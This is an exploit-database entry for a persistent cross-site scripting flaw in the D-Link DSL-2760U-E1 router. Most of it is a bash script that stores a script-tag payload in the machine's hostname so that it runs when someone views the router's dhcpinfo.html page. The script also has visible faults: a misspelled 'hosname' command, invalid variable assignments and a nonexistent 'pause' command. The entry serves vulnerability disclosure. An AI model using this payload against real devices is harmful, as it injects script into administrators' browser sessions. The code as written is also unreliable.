ID

VAR-E-201406-0326


TITLE

D-link DSL-2760U-E1 - Persistent XSS Vulnerability

Trust: 0.6

sources: EDBNET: 22090

AFFECTED PRODUCTS

vendor:d linkmodel:dsl-2760u-e1scope: - version: -

Trust: 0.6

sources: EDBNET: 22090

EXPLOIT

#!/bin/bash
# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname,
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.
# Checks if you are root
if [ "$(id -u)" != "0" ]; then
echo "Please execute this script as root"
exit 1
fi
# You're XSS here
xss = "\"<script>alert('pwned');</script>"
# backup current hostname
currhost = `hostname`
# Bannering
echo ""
echo " D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""
# Change hostname to XSS
sudo hosname $xss
# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost

Trust: 0.6

sources: EDBNET: 22090

PRICE

free

Trust: 0.6

sources: EDBNET: 22090

TYPE

Persistent XSS Vulnerability

Trust: 0.6

sources: EDBNET: 22090

EXTERNAL IDS

db:0DAYTODAYid:22361

Trust: 0.6

db:EDBNETid:22090

Trust: 0.6

sources: EDBNET: 22090

REFERENCES

url:https://0day.today/exploits/22361

Trust: 0.6

sources: EDBNET: 22090

SOURCES

db:EDBNETid:22090

LAST UPDATE DATE

2022-07-27T09:45:06.720000+00:00


SOURCES RELEASE DATE

db:EDBNETid:22090date:2014-06-22T00:00:00